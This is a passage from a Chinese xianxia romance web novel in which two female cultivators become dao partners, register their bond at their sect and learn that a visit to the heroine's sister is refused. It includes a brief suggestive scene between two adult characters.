裴依宁微微颔首,后背彻底贴在石门上。 熟悉的,两人多次相处过的地方,云榆胆量上升,她歪头凑去,凭借本能地吻上师姐的唇,随着心念动地探出舌尖,在女人唇瓣上滑动,小心翼翼地试探着往里钻。 轻而易举地滑入女人口腔中,云榆震惊地睁大眼,比唇瓣更为热的内部,所过之处皆是柔软。 她碰到了更柔软的东西,灵活地搅起师姐的舌,缠绵地吻上,不断加深。 某处汇集着热量,云榆陷入其中,好似怎么都不够,她揉着师姐的后背,无限拉近与师姐的距离。 明明相贴,可还是不够。 有什么东西在身体里蹿动,没来由得难受,于是,她迫切地继续加深这个吻。 咬住师姐的唇,舌。 绵长的时间流逝,云榆拉开师姐,雾蒙蒙的眼睛对上师姐迷离的眼神,那种直上直下的感觉越发明显,她喉咙动了下。 弯身陷入师姐的脖颈,叼起一块细嫩的柔软,在口腔中吮吸,细密多层的吻叠加落在同一个位置,不同的位置。 裴依宁仰起头,五指插入云榆的发丝中,细长的手指按住面前人的头,清冷绝尘的脸上满是隐忍和纵容。 吻很快滑落到锁骨边,云榆不知不觉间搭上师姐腰身的束带,勾连着,似拉非拉。 裴依宁握住她的手,复又松开,轻轻搭着。 云榆抬起头,眉心拧成一座小山,磕在师姐染上青紫的肌肤,含着几分哭腔的沙哑:“师姐,我……” 她形容不出那种感觉,就是想亲师姐,亲着亲着,也不知道为什么要亲到其她地方。 明明开始只是唇。 云榆蹭着那块肌肤,呼吸从急促间慢慢平缓下来。 裴依宁咽住喉咙,闭上眼,一时有些缓和不过。 眼角的余光瞥见那些青紫色痕迹,云榆懊恼地:“师姐,对不起,我弄疼你了。” 她心疼的揉上那块青紫,可附近还有几块小小的青紫色,看上去触目惊心,怎么都揉不过来。 锁骨,脖颈都是。 锁骨那边,衣衫能遮挡,但脖颈那里,该怎么遮挡。 裴依宁轻点云榆揉过的那块,眼神中的茫然褪去,她别开头,虚虚攥住云榆的手腕:“不用揉。” 她整理衣衫,某只小妖手足无措地站在她面前,好似犯了天大的错误。 她好笑地:“杵在这做什么?去给我倒杯水。” 灼热的温度熨烫的她发干。 得到免死令般,云榆三步并作两步地去煮茶。 裴依宁抚住下唇,带着疼。 还是有妖性的,一点都不知道克制。 殷勤地坐在师姐边上,云榆勤快地给师姐捏腿:“师姐,这个力度可以吗?” 裴依宁端着一杯白水:“可以。” 云榆笑容明媚,干得更卖力了。 御剑飞行和被抵在石门亲了许久,疲惫涌上,裴依宁捏住后颈。 云榆见到,立刻起身来到女人身后,接手后颈,认认真真地揉捏。 过于殷勤了,小妖的人形可不会这般,莫不是有事求她。 哦,对,她要传一道音给问玉宫,约定前往的日期。 裴依宁念头起动,十数秒后,一道灵光飞去。 云榆:“师姐,我手法还行吧。” 裴依宁:“还行。” 云榆:“那可不可以和师姐商量一件事。” 裴依宁顿了顿:“你我是道侣,有事直接说就好,不用这般客套。” 云榆绕过去,乖巧地蹲在裴依宁身边,侧脸靠在女人腿上,拉过女人手臂,在上面画着圈:“师姐以后还会让我亲吗?” 她心虚地看了眼师姐肌肤上青紫色的痕迹,眉心一跳,这么严重,师姐说不定以后就不会让她亲了。 可师姐的口味真的好好,比她吃过的任何食物都好。 师姐不仅厨艺好,自身也美味。 云榆:“……” 她在想什么,要是让师姐知道她的想法,师姐一定会狠狠地拒绝她。 云榆后悔亲的那么狠了。 “当然可以。”温润轻缓的声调让云榆猝然抬起头,裴依宁摸上她的发顶,“不是说了吗,你我是道侣,这种事,你只能和我做。”她补充,“只要你想,随时都可以。” 云榆呢喃重复:“随时都可以?” 裴依宁:“随时都可以。” 云榆跨坐到师姐腿上,双臂环上师姐的脖颈:“我现在就想……” 裴依宁倾去,无声的默许。 这次的云榆点到为止,停留在表面,小鸡啄米般得啄了几次。 裴依宁唇上坠上浅淡的水痕,她与云榆额头相抵,困倦地闭上眼,轻声道:“星星,师姐好困,你陪师姐睡会,好不好?” 云榆:“好。” 这份睡眠持续了半个时辰,补完觉的两人精力充沛地起身。 恰在这时,一道灵识传入裴依宁灵海中,是遇情堂那里的。 在回来前,裴依宁就给遇情堂的同门传了音,询问她们这几日是否有空。 而遇情堂那边在方才回复,堂内现在正有人在。 有情道作为辅道,修炼的人并不多,遇情堂内不过数人,一般有事寻遇情堂内的人,都需要提前约定日期。 云榆刚穿好衣衫,准备送师姐回灵丹堂而后再去寻杜师姐,却被师姐告知现在需得去遇情堂一趟。 遇情堂,凡是宗门内有人结为道侣,都需要去那记录。 云榆怎能不知此去的目的,但她脸皮向来薄,尤其是对待这种事上。 本着不言不语不问的好习惯,在抵达遇情堂前,她并未谈及有关的话语。 遇情堂门口,已然有两人在等待。那两人并不避讳地肩并肩,手牵手,旁若无人地说说笑笑。 在瞧见她和裴依宁,两人停止说笑,共同行了一礼:“裴师姐。”在面对云榆时,两人不约而同地顿住,不知如何称呼。显注腐 云榆主动拱手:“两位师姐好。” 面前两人笑着回礼:“师妹。” 其中一人问:“裴师姐是陪师妹过来记录名姓还是?” 她们潜意识不认为裴依宁要与人结为道侣,但只裴师姐与这位师妹同来,本着职责所在,她们需得问清楚。 裴依宁:“我与道侣前来。” 当着师姐们的面被这般大喇喇地说出,云榆肉眼可见地红了耳尖,她低垂着头颅,掩盖不断窜上来的热意。 “请跟我们来。”遇情堂的两人在前方带路。 云榆第一次来此地,以往心心念念这里的温泉,可真来到这里,只觉得羞涩不已。 她在脑海中演练等会会发生的事情,以免出错,劳烦到师姐们。 瞧出她的紧张,裴依宁拉住云榆的手,传音安抚:【别害怕,很快的,只是记录名姓而已。】 裴依宁继续传音:【而且,结为同宗结为道侣,宗门每月会多提供十枚灵石给双方。】 每月多十枚,十个月多的就相当与多拿到一整个月的灵石,怎么算怎么划算。 云榆的紧张被这十枚灵石冲淡了点,她重重回握住师姐的手:【记录下的当月有吗?还是从次月算起。】 裴依宁:【这个月就有。】 云榆:【那我们快点,这个月就剩几天了。】 裴依宁弯唇,某只小妖还是一如既往的好哄。 一炷香后,四人停在一块青绿色的巨石前,晶莹剔透的石体内蕴含着一个个名姓,并排而列。 这些皆是过往记录下的名姓。 遇情堂其中一人捧着一方木盒,上面呈放这两只毛笔,只是这毛笔与寻常毛笔不同,笔端是尖锐的石刀。 裴依宁拾起两支笔,递了一只给云榆。 “二位只需将名姓在遇情石上刻下即可。” 云榆问:“刻在哪里都可以吗?” “是的,都可以。” 那就好,云榆心底暗暗道。 她扫了眼还未动笔的裴依宁,拽着对方蹲下,而后指着巨石的角落:“师姐,我们在这里刻呗。” 裴依宁挑眉:“都可以。” 得到师姐同意,云榆在角落上一笔一划地刻下自己的名姓,随即让开位置。 裴依宁在她旁边刻下。 就在云榆以为不会被后来人看见时,只见那两个原本在角落的名字无限放大,飞至巨石中心。 而后,在云榆震惊的目光下,陷入巨石内部,排在其中两个并排的名姓下,伴随着蓝紫色的光芒闪过,两人的名姓仿佛被镀上一层光晕,存于其中。 不可思议过后的云榆:“……” 那她刚刚鬼鬼祟祟蹲在那,生怕别人看见刻下的名姓算什么。 从遇情堂回来,云榆拍拍热乎的双颊:“紧张死了。” 裴依宁好笑:“都过去了,还紧张吗?” 云榆转过头,故意道:“紧张。我还没跟姐姐说,就和你结为道侣,万一姐姐对你不满意怎么办。” 不知道是不是因为有了实质性的和师姐确定关系的存在,面对裴依宁时,云榆虽会害羞,但也有勇气对着她开一些别的玩笑。 裴依宁配合她,露出几分慌乱:“那怎么办,姐姐会拆散我们吗?” 云榆叹气:“不好说,毕竟别的妖都说姐姐心狠。” 裴依宁学着她叹气:“星星好过分。” 云榆笑出声来:“骗你的,姐姐超级温柔,超级好,她会很喜欢你的。” 如今名姓已经记录完毕,剩下的就是前往问玉宫寻找姐姐。 不知道姐姐得知她和师姐结为道侣,会是什么表情。 这么重要的事,却没有事先和姐姐说,有种小孩子背着大人偷偷做事的负罪感。 裴依宁捏捏她的手:“我已经给问玉宫传了消息,等问玉宫那边回音,我们就出发去见姐姐。” 那道灵光径直没入白玉打造而成的殿宇内,在进入的瞬间被定格在其中一方空间,等待另一头的人收取。 顺着灵光的方向持续向前,穿过一间间殿宇,直至最中央殿宇的偏殿。 急促的呼吸声交织着极度克制在喉咙中的音调,穿戴整齐的人漠然地探索隐秘之地。 被她压在下方的人姿容绝艳,在外的肌肤汗津津的,五指紧紧抠在身下的床被,因过于克制,青紫色的筋脉凸出盘旋。 一冷一热,不同的糅合在一起。 问亦云胸膛起伏,积攒的不断汇集,她想喊身上人的名字,可对上那双冷然的眸子,她硬生生忍住。 某个点后,禁锢那抹灵光的空间裂开,灵光直直飞奔而来,没入问亦云脑海中,又被挡了回来,两行文字就这样展露在塌上两人的眼前。 云樾不管下面人到哪,直直地抽出,引得那人终是忍不住地闷哼声,如小兽般拉住她的衣衫:“云樾,别……” 她小腹剧烈地浮动,扭头,在看见那两行文字最后落下的人名时,突兀地笑出声,肆无忌惮地钻进云樾怀中。 对方整洁的衣衫沾上不该有的存在。 问亦云咬住云樾的耳朵:“知道她是谁吗?” 问亦云攥着云樾探索自己:“裴依宁,与你妹妹关系匪浅的人。嗯……她要带你妹妹拜访问玉宫。” 话语被切割地支离破碎:“你说,你现在的样子能见她吗?你妹妹不得担心死啊。这样,我同意让她们来,如何?嘶……轻点,心可真狠,半点不像你妹妹。” 云樾冷声:“问亦云。” 问亦云:“好凶,对我温柔点,你知道的,我最听你话了。” 她抬腰,天鹅颈高高扬起,刺痛传遍全身,云樾不客气地咬住她的脖颈,口腔被血气填充。 “别生气,”问亦云紧紧抱住她寻求飘落的安全:“你想怎样都可以。” 作者有话说: 第84章 第八十四章[VIP] 问玉宫回复消息的速度极快, 日落时分,正在灵丹堂内查阅纳兰然递来的,有关这段时间各项事宜的文书裴依宁灵海内没入一道陌生的灵识。 灵识缓缓展开,只有几行文字。 【问玉宫暂闭, 它日若有机会, 定邀二位前来一聚。】 最后的落款是问亦云。 问玉宫这数十年间甚少出现在世人眼前,但云榆身为问玉宫道侣的妹妹, 探望自己久不曾见的姐姐, 于情于理,都应该有个拒绝的理由才对。 而不是一句简单的问玉宫暂闭。 云榆的姐姐也是这个态度吗?还是问玉宫发生了什么。 裴依宁无从得知。 她合上看完的册子, 细长的手指捏在侧页边缘,转递给身侧的纳兰然:“你做的很好, 这些没有问题。” 被夸奖的纳兰然松口气:“多谢师姐夸奖。” 这些事在裴依宁闭关时,也是她做的,可谓是得心应手,可面对裴师姐时,总会担心哪里没做好, 出现纰漏。 纳兰然收好册子, 呈起这几日研磨的药粉, 交给裴依宁:“裴师姐, 这是由前两日阵灵阁外出历练的同门送来的药株研磨而成。” 裴依宁捋起垂下的几根碎发, 头微垂, 用一边的小勺子舀起一点,在鼻息下嗅闻, 数秒后, 她将粉末倒回到远处,勺子归位:“那药株破损了?” 一般而言, 只有破损的药株才会被研磨成粉,配之以其它的药株,炼成所需丹药。 但这株药材嗅闻间,浓厚的药香持续钻入呼吸,半分不像破损导致药效流逝而被迫只能磨成这幅样子。 纳兰然:“送来时并无问题,但经手处理时,出现些许差错,来不及炼化,我便让她们磨成粉,我看这成色和药效尚被保存得很好,想问问师姐,能否直接将此药粉当成炼丹的主药材,辅之以其它的药株。” 她还没有这么炼过丹,正好裴师姐回来了,借由递交册页的功夫,她正好可以请教对方。 多掌握一门炼丹技巧对丹修而言,百利而无一害。 裴依宁掀起眼眸:“是进入宗的师妹处理的这药株?” 她对于纳兰然能力有所了解,很难犯这种低等错误,但她没再多问,掌心摊口,火焰蹭地蹿起:“你现在是六品炼丹师,就以六品丹药为例。” 纳兰然被热浪灼到,端着方盒往后退半步,聚精会神地望向那团熊熊燃烧的火焰。 待到温度合适,裴依宁示意纳兰然将方盒内的粉末倒入火焰中,纷纷扬扬的粉末随风要飘走,被热浪卷过,凝结着稳定在火海中。 粉末完整的被灼烧,不消片刻便是有化成水滴的趋势,裴依宁自一侧取出另外几株药材投入火焰中:“粉末状相较于药株本身,会更容易被炼化,掌握好火候,以免粉末进入瞬间被蒸发。用炼丹炉炼制,反倒无法及时观察到内里情况。” 将后续投入的炼化成半水滴状,裴依宁凝神聚力,驱使几滴水交融,以粉末炼化的为主,包裹住其她:“你如今停留在六品多久了?” 纳兰然:“已有两三年。” 裴依宁了然,纳兰然在炼丹上天赋极高,入宗十余载便是成就六品炼丹师,她对这位师妹寄予厚望,出关时,每每会多指点几句。 她放缓讲解的速度,每一步骤都让纳兰然看懂。后者天资聪颖,一点即通。 收起火属性,热浪褪去,一枚浑圆的丹药静悄悄地悬停在半空中,旋即,缓缓降落在裴依宁伸在下方的掌心中。 那枚丹药最后交由纳兰然自行研究。 裴依宁去了趟阵灵阁,又去了趟器物堂,原以诗与风浅念尚未回来。在两处峰阁逗留一段时间,她转而去到宗主殿堂。 明柏澜显然在那等待她许久,女人盘坐在殿堂中央的软垫上,眉眼闭合,殿堂门被推开时,昏黄的夕阳余晖趁机钻入,在她脸上滑行出一道细长的暖色。 裴依宁反身关了殿门,拱手对着打坐修行的女人一拜:“宗主。” 明柏澜:“在外历练的如何?” 裴依宁这趟出门,说是历练,可到底不过是陪着云榆回到幼时生活的地方住了一段时间。 她将大致说了遍,着重点在收服黑雾的城池,弱化前往云榆故乡的事。 但这无可避免地是她和云榆结为道侣的事,她此次前来,就是为了这事:“宗主,我与云师妹今日于遇情石上刻下名姓,结为道侣。” 明柏澜从容睁眼,视线在面前人身上打转,她悠悠抬起一条手臂,裴依宁上前,扶起她。 明柏澜道:“她是妖族人,这事你应当知晓。” 因与苍焰宗比试一事,宗门内算得上是人尽皆知,明柏澜本身就知晓云榆的身份,现在问她,不过是为了引出接下来的话题。 裴依宁:“是。” 明柏澜又道:“她有一位姐姐,这事你知晓吗?” 裴依宁支起眼帘,沉默住。 明柏澜淡淡道:“应当是知晓的,云榆想来不会对你隐瞒这件事。” 裴依宁:“是。” 宗主突然提及这事,加之今日问玉宫传来的回音,裴依宁不得不打起精神。莫不是宗主也知道云榆的姐姐在问玉宫。 果不其然,明柏澜走到一侧坐下,昏暗的殿内没有一盏照明之物,她对着扶手敲下,示意裴依宁坐。 “你不用紧张,云榆入宗时,便将自身情况与我说了。上次问玉宫宫主来我宗,我与她单独闲谈时,她也提及了这件事。”明柏澜端起茶水押了口,“只是我没想到,云榆的姐姐会在问玉宫内。” 更让她诧异的事,云榆竟然与问玉宫的人有所牵连,问亦云好不保留地说明了那次即是为云榆而来。 只是有一点,她至今没能想明白。 既然是为了云榆而来,又为何会让云榆受重伤至恢复本体。 当日的情况,她坐下弟子将经过详细复述,问亦云是出手的,但却没能护住云榆。 这点很是让她费解。 明柏澜道:“问宫主说,她和云榆的姐姐是道侣,但因为身体原因,她姐姐暂时不能与她相见。” 身体原因。 裴依宁鸦羽般的睫毛颤动,表面不露声色:“问宫主可说是什么身体原因?” 明柏澜指腹摩挲着杯口,微微摇头,清亮的眸子望向裴依宁:“不曾。但应该不会是什么小问题。” 裴依宁瞳仁放大。 明柏澜放下茶杯,起身,姿容优雅地点过殿内的一颗灵珠,柔和的灯光倾泻出,平铺这方空间。 她转身,面容被染成平和的冷色调,许是那枚灵珠的光亮不够,她又走向另一颗灵珠,将其点亮。 殿内亮度增加,角落都被照亮。 明柏澜淡笑:“不久前问宫主给我发了道传音。她说待到时机成熟,自会安排云榆与她姐姐见面,在此之前,明越宗务必不能有任何人冒然带领云榆踏上问玉宫的势力范围。” 这传音不仅仅是对裴依宁,更是对明越宗任何一人,云榆在宗门内认识的人,都有可能会在不被允许的情况下,带她前往问玉宫。 裴依宁何其聪慧,明白了明柏澜告诉她这事的目的,她不由得起身,拱手:“依宁明白,在问玉宫未明确提出让云榆去时,我不会带云榆前往问玉宫半步。” 明柏澜站在那颗灵珠旁,柔和的光晕轻柔地覆盖在她侧脸上,她对这几人素来放心。她望向殿内暗下来的天色:“云榆那边,还需要你多加安抚。” 从宗主殿堂出来,裴依宁朝剑法阁而去。 云榆的姐姐会因为什么身体原因无法见云榆,若是内在的,只是见上一面,以问亦云的能力,自是可以瞒住。 若是外在的,也应该有方法可以治疗。还是说,短时间内无法治疗好。 不知不觉间,裴依宁抵达剑法阁下方,她扬头,高耸的峰阁压着点点繁星。 她跃身而起,灵力在身体内浮动。踩在坚实的地面上,裴依宁头疼地揉起太阳穴。 剑法阁内,因着与裴依宁结为道侣之事,刚与裴师姐分开回到峰阁,就被两位好友拦了个正着。 应滟面色凶狠地握着剑鞘抵在云榆的脖颈上,故作冷硬地道:“还不速速招来。” 云榆哭笑不得,举起双手:“我招什么?” 应滟道:“你出宗一趟,回来就与裴师姐结为道侣了,事先竟然半点风声没有透露给我们。你还有没有把我们当成好朋友。卞凝,你说,榆木是不是很过分。” 被点到名的卞凝看看云榆,又看看抵在她脖颈上的剑鞘:“是很过分。” 云榆:“……嗯,其实我是打算和你们说的。” 剑鞘在她肌肤上滑动,逼得更紧,那处肌肤凹陷下些,云榆急忙道:“我这不是回来就与你们说了吗?” 应滟凑近她:“什么时候的事,是不是苍焰宗来我们这比试期间?” 那时云榆受伤住在裴依宁那,她们就多有怀疑,只是碍于各种原因不方便询问。现在遇情石上都刻下名姓了,她们可不得好好把人抓住盘问一波。 这榆木滑得跟鱼似的,稍不注意就能从她们眼皮底子溜走。 应滟扔了张符纸,禁锢住三人所在的空间。 云榆:“……” 没必要浪费一张符纸吧,她又不跑。 云榆叹息:“不是,是外出历练期间。”她表示无辜,“我一回来就被你们不分青红皂白地逮住。” 应滟与卞凝对视一眼,前者狐疑地收起剑鞘,满脸不太相信地:“真的?” 云榆无奈:“骗你们干嘛。” 她和师姐结为道侣已是既定的事实,她在回来途中就预料到会被两位好友逼问,想了一肚子辩解的话语,此刻源源不断地输出。 应滟表情逐渐由一开始的不相信到后面的震惊,好奇,变脸速度极快。 不多时,她想到什么:“所以,你那时问我们该如何追人时,就是为了追裴师姐做准备?” 那时云榆还说什么,是有一个朋友喜欢上了别人,询问她们该如何追人。 她和卞凝默认这个朋友就是云榆自己。 云榆一时没反应过来:“嗯,对啊,哎,不对,当时……” “嗯?什么对不对,”裴依宁温润的声音穿插进来。 云榆扭头,惊喜地喊了声:“师姐。” 应滟和卞凝拱手:“裴师姐。” 裴依宁温声:“应师妹,卞师妹,无需多礼。” 欺负人道侣,八卦两人的情感,还被另一当事人抓住,绕是性格再活跃的应滟面对裴依宁这位灵丹堂师姐时,仍旧会忍不住犯怵。 招呼完两句,应滟拉着卞凝说了声“告辞”后,急急离去。 欺软怕硬。云榆在心里默默控诉两位好友 裴依宁轻声说:“什么对不对?” 云榆道:“就是她们问我……”她突然顿住,探寻的目光定在女人身上,“不对啊,裴师姐,你当时在我本体面前说,有喜欢的人,还问我怎么追人。来,师姐,给我解释解释,你喜欢谁,想追谁。” 她记得那时可还没有在裴依宁面前暴露人形。 “喜欢你,想追你,”裴依宁只一瞬就知道这小妖又忘事了:“星星,你不记得了吗?我说过,你陪应师妹来灵丹堂的时候,我就认出你了。” 云榆:“……记得。” 哦,对,裴师姐说过这事。 室外风寒,裴依宁牵住云榆温凉的手,在掌心中捂着,带人进入洞府:“还有什么疑惑吗?现在趁早问了,不然我怕某只星星问起时,忘记了。” 云榆:“……” 她才没有那么斤斤计较。 云榆顺势倒在裴依宁身上,这次更过分,八爪鱼似地附在女人身上,惩罚性地咬了口女人的肌肤:“笨蛋裴依宁,我饿了,要吃饭。” 她现在可以理直气壮地在裴依宁身边转悠。 裴依宁自是应着她。 云榆趁着裴依宁在做别的菜品时,偷偷顺了个黄瓜,过了遍水,大喇喇地咬上一口。 裴依宁听见清脆的响声,朝她那扫了眼:“天凉,少吃点凉的。” 云榆不在意地:“师姐,我可是修仙之人,身体哪里有那么孱弱,而且,”她凑到女人身边,下巴搭在女人肩膀上,故意道,“师姐可是丹修,手拿把掐就能把我治好。” 裴依宁侧身,在她额头上啄了下:“不要乱说。” 云榆笑嘻嘻地拉开距离,后腰靠在板台上,慢吞吞地边说边看裴依宁做菜。 好像不难,她好像学会了。 将最后一截丢入口中,云榆跃跃欲试:“师姐,我想试试看。” 裴依宁警惕:“什么?” 云榆:“做饭。” 锅内的菜已然半熟,裴依宁思索一二,将位置让出,叮嘱道:“就在这看着,什么都不用加,等好了直接盛进菜碟就可以。” 这么简单,云榆越发觉得自己可以。本着看会即学会的念头,云榆尝试着翻动锅内的菜。 见她手法还算可以,裴依宁去忙别了会别的事,估摸着时间差不多,她捏着枚灵果含入口中,往回转。 一股焦味突兀地传入嗅觉,裴依宁咀嚼的动作一顿,精致的眉眼流出几分难以置信。 云榆端着刚呈出来的菜品,不好意思地转过身,那团半黑半带点绿的青菜就这样展现在眼前。 云榆:“师姐,我看熟了,盛出来就成这样了。” 有些妖可能真的没有做菜天赋,火候时间把控都已经做到位,但依旧可以做出这种奇奇怪怪的菜品。 裴依宁:“无碍,你过来。” 她洗干净手,重新摘了些新菜的菜,拉过站在那当个吉祥物的小妖,将物件塞到小妖掌心,而后握住小妖的手:“手把手教你。” 云榆眨眨眼,唇边控制不住地溢出笑容。 有裴依宁亲手教,这次菜品终于没有糊了,只是调料是由云榆在裴依宁的指示下放的,对于份量的把控稍稍失调,导致味道有些奇怪。 但至少菜品外观是好看的。 云榆很是满意。 后面的几道菜,云榆没再凑着让裴依宁教,不然等最后一道菜盛出来,前面做好的菜都冷了。 吃饭时,云榆化成小刺猬,趴在裴依宁对面,在裴依宁给她夹菜时,小妖四肢撑起,一步步地跑到女人身前,在女人碗边趴着。 而后,小刺猬张开嘴。 裴依宁轻笑声,夹起一点,小心翼翼地填入小刺猬口中。 吃饱喝足,小刺猬张开四肢瘫软在桌面上,理所当然地滚了几圈,顺着裴依宁的胳膊,一路滚到女人的肩膀上。 她顺着刺的方向趴,不至于刺到女人。 小刺猬打了个哈欠,亲亲女人的颈部肌肤:“师姐,要去外面转转。” 裴依宁点了下小刺猬的唇,商量着:“以后人形亲,好不好?” 小刺猬蹙眉:“为什么!” 裴依宁:“你本体亲,让我有种在养小宠物的错觉。” 小刺猬嘀嘀咕咕:“有什么区别。” 小刺猬想出去转转,但小刺猬不想走路,于是,小刺猬选择趴在师姐身上,由师姐带她出去。 小刺猬:“我真机智。” 不知她莫名其妙地机智什么,裴依宁捏住小刺猬的刺,将她一整只提溜起,在小刺猬将要反抗之前,把小刺猬放在小臂上。 转移位置而已,小刺猬踢踏的四肢缩回肚子里。 相同的场景,相同的两人,不同的关系。 走出洞府不过两三米,某只小刺猬回心转意,她从女人手臂上滚落,径直化成人形。 云榆摸摸鼻子:“这样散步好像更有意境。” 裴依宁笑笑,认同地点头。 她主动伸手,要去牵云榆,被后者轻松躲过,两步贴近她侧身,手臂一勾,挽住她的手臂。 裴依宁任由她这般。 可走了没两步,云榆起了新点子,滑落着下转,两根手指虚虚点在裴依宁手腕,就着把脉的姿态:“师姐,我有当丹修的资质吗?” 小妖总是想一出是一出。 裴依宁:“你要学吗?” 云榆:“灵丹堂大师姐亲自教啊,”她话音一转,“还是算了,万一被师姐发现我天资愚钝,岂不是太跌面了。” 裴依宁:“之前那个幻术呢?为什么不学了?” 没想到她会突然提起这个,云榆怔愣了下,干咳两声:“那不是看清当时我幻境中的人是谁了吗?我就想着,万一我学了,想师姐了,岂不是还要陷入自己编织的幻境中。” 那时她可还没跟师姐互通心意。 裴依宁:“这样啊,那现在呢?” 云榆道:“还是算了吧。未来时间还长,等我精通其它几门,再学习也不迟。” 裴依宁不置可否。 剑法阁后山阁的那颗灵树上空空如也,上方的灵果都被采摘尽。想过来偷摘几枚的小妖只好放弃念头,拉着裴依宁坐到灵树不远处的河流边。 她枕在师姐的腿上,长腿一条曲起,一条伸直,手臂弯着叠在额头处。 弯月被云层遮挡,四周朦朦胧胧地晕出浅淡的光亮,从云内透出。 云榆晃动着那条伸直的腿,两边脚踝不时与草地相接,空闲的手拔着身侧的草叶,倒也不真的拔起,只一下下地往上又松开:“师姐……” 裴依宁:“嗯?” 云榆舌尖舔过上齿:“什么时候能收到问玉宫的回信啊?” 收到后,她就可以和师姐出发去见姐姐了。 裴依宁指腹有一下没一下地刮过云榆的脸颊:“已经收到了。” 腿上一重,是云榆后脑勺用力,扬起头导致的:“问玉宫那边怎么说?” 裴依宁斟酌语句,半真半假地:“问玉宫现在处于暂闭状态,任何人不得进入,所以,星星可能还要再等等。” 云榆神色一僵,绷直的身体泄下,干巴巴地笑道:“哦,这样啊,那好吧,反正也不急。” 太了解云榆,裴依宁怎么会看不出云榆心中所求,她垂头,双腿支起,抱住云榆让其上半身起来,侧脸靠在云榆的头顶:“我会时常问那边的,会见面的。” 云榆回抱住裴依宁,语调轻松:“没关系,问玉宫允许进入,应该会主动传消息哒。” 她怀着侥幸的心理:“不过不许任何人入内,我又不是人,我是妖,妖也不能进去吗?” 云榆侧身,躲过裴依宁的相贴,脑袋缩进女人的小腹处:“好吧,我知道了,人不能进,妖不能进,星星也不能进。” 小腹处的脑袋一蹭一蹭地,被揪住的衣衫被拉紧,裴依宁抚上云榆的背,一遍一遍地顺着。 云榆咬紧后槽牙,委屈感蔓延全身,身体轻轻抽搐,有低低的泣音传出:“星星好想姐姐。” 作者有话说: 第85章 第八十五章[VIP] 夜色浓重, 月光被缠绕上朦胧的雾气,倒映在河水中,与之在水中重叠的是两道相贴的身影。 裴依宁轻轻抚摸着云榆的发顶,失神地望着河中两人的倒映, 细长的手指没入云榆的发丝中, 她垂着头,长发自两侧的肩边滑下。 发丝交缠, 女人薄唇轻抿, 将躲在小腹处的小妖捞起。 云榆被提起瞬间的哭腔泄露出几声,连续的呼吸抽动, 她别过头,不愿被人看见此刻的狼狈。 她能感觉到发热的脸颊, 发疼的眼眶,睫毛上沾着泪水,素来视力很好的小妖有些看不清面前的那条河流。 那条河流的水融入了她的眼中,而后眼眶承载不住,化为连续的雨珠滚落。 她盯着水汪汪的眼眸, 左右挣扎着要脱离裴依宁的掌控。 可根本无法脱离, 她自暴自弃地胡乱吻上裴依宁的唇, 唇齿磕碰几下, 她擦着女人的下巴跌回女人怀中, 回抱住女人, 暗哑的声线中夹杂着显而易见的哭音:“对不起,师姐, 对不起。” 裴依宁紧紧搂住她, 眉心微微蹙起,将她按在胸前, 轻缓地拍着她的后背,温柔地一遍遍帮着小妖顺气。 抽泣声渐渐降下,只是心口不时仍会被偶尔不受控制抽搐的小妖蹭过。 等情绪回缓,云榆揪着裴依宁衣衫的手松了几分,在师姐面前落泪,后知后觉地羞耻感上来,她抬不起头地“哼哼”两声。 裴依宁揉揉她,握住云榆不安乱动的手,轻声道:“心情好点了吗?” 云榆迟疑地点点头,悄悄扬起一点弧度,女人白皙的肌肤和红艳的唇落入眼中。唇上似乎还有牙印,仅一眼,不管有没有看清,云榆慌忙低回原样。 她抬手,虚虚抚上师姐的唇:“弄疼师姐了吗?” 裴依宁又抓住她这只手,放到侧脸,纵容她的放肆:“不疼,”她重复方才的问题,“好点了吗?” 云榆吸吸鼻子,从喉咙中挤出一个“嗯”字。 发泄过后,得到开解,加之怀中的温暖,那股委屈感缓缓流入血液中,泡得越发酸楚。 但她不想让师姐为自己担心,忍住还想哭的欲望,主动从师姐怀中钻出:“好跌面,师姐不准记得这件事。” 裴依宁顺从地:“什么事?” 见她这么上道,云榆弯弯唇角,半哭半笑的样子着实有些搞笑,裴依宁心疼地擦去她脸上的泪痕,捧着她的脸颊,两根拇指卡在小妖的下颌两边。 她抬起云榆的头,吻上面前人的眼睛:“星星。” 一颗石子打破河面的平静,月亮被四溅的水珠砸的七上八下,犹如不稳的小船,待风静水止后,被稳住船舵。 云榆捻起小石子,躺在师姐身上,又接连扔了几颗。 风吹过,云榆忍不住裹紧衣衫,她吻吻师姐的下巴:“师姐,我们回去吧。” 她撑着师姐的腿起来,反身,伸出手,拉起承载她情绪和重量的女人,在裴依宁起身后,她弯下腰,就着这个姿势,替师姐捶捶发麻的腿。 裴依宁今晚原打算将云榆带回灵丹堂的,但刚回来,明日一早云榆还需要去找杜寻雁,将这段时间拉下来的修炼好好补补。 在这届新弟子中,云榆已经达到绿灵,进度远超其余同门,但由于突破后未能及时稳固境界,导致境界不稳,对后续修炼有影响。 云榆带着裴依宁回到自己的洞府中,她的洞府还是一如既往的简单。 从空间储物中取出一条被褥垫上,储物四周是家妖们给她带的食物,云榆拿出两枚灵果,擦擦递给裴依宁一枚。 云樾托问亦云带来的那两包糕点还剩下一包没有打开,云榆拆开,伸到裴依宁面前:“师姐,尝尝?” 这包裹里的与上次的无异,甜腻腻的香气顺着油纸包展开铺满空气,鼻息间尽是这种甜腻。 裴依宁捏起一块,小口含下一点。 甜的与空气中混杂的一般。 云榆细嚼慢咽,将油纸包包好,唇齿蠕动,还想再问几句有关问玉宫的事。 可问得太多,又能如何。 她堪堪忍下,手帕擦去指腹上沾染的糕粉。 她使了个净身术,脱去外衫,没有心思再和师姐打闹,她靠近师姐,说了声“晚安”后,闭眼睡去。先驻敷 第二日,身体的疲倦尽数消散,云榆意识回拢,下意识往旁边一摸。 空的,还带着点点凉意。 师姐不知道什么时候离开了。 云榆从床上坐起,下床时,眼神一瞥,瞧见落在枕头边的纸条。 【星星,师姐需回灵丹堂一趟,见你睡得熟,没舍得喊醒你,晚些时候师姐再来找你。】 字迹工整,飘逸中不乏稳重,一眼便知是师姐的字。 云榆将纸条塞入掌心。 桌面上是被灵力温着的餐点,云榆穿戴洗漱后,拾起一只包子,边吃边往外走。 今日阳光正好,明越宗有种四季如春的感觉,她幼时居住之地如今已是白雪皑皑,回宗沿途路过的地界也都是一片萧瑟之景。 可明越宗内的植被依旧生机盎然。 云榆来到修炼之地,瞟了几眼,没看见杜师姐的身影,就连应滟,卞凝等熟悉的人都没能见到。 有些不符合常理。 应滟偷懒有可能,但卞凝万万是不可能偷懒不来修炼的。 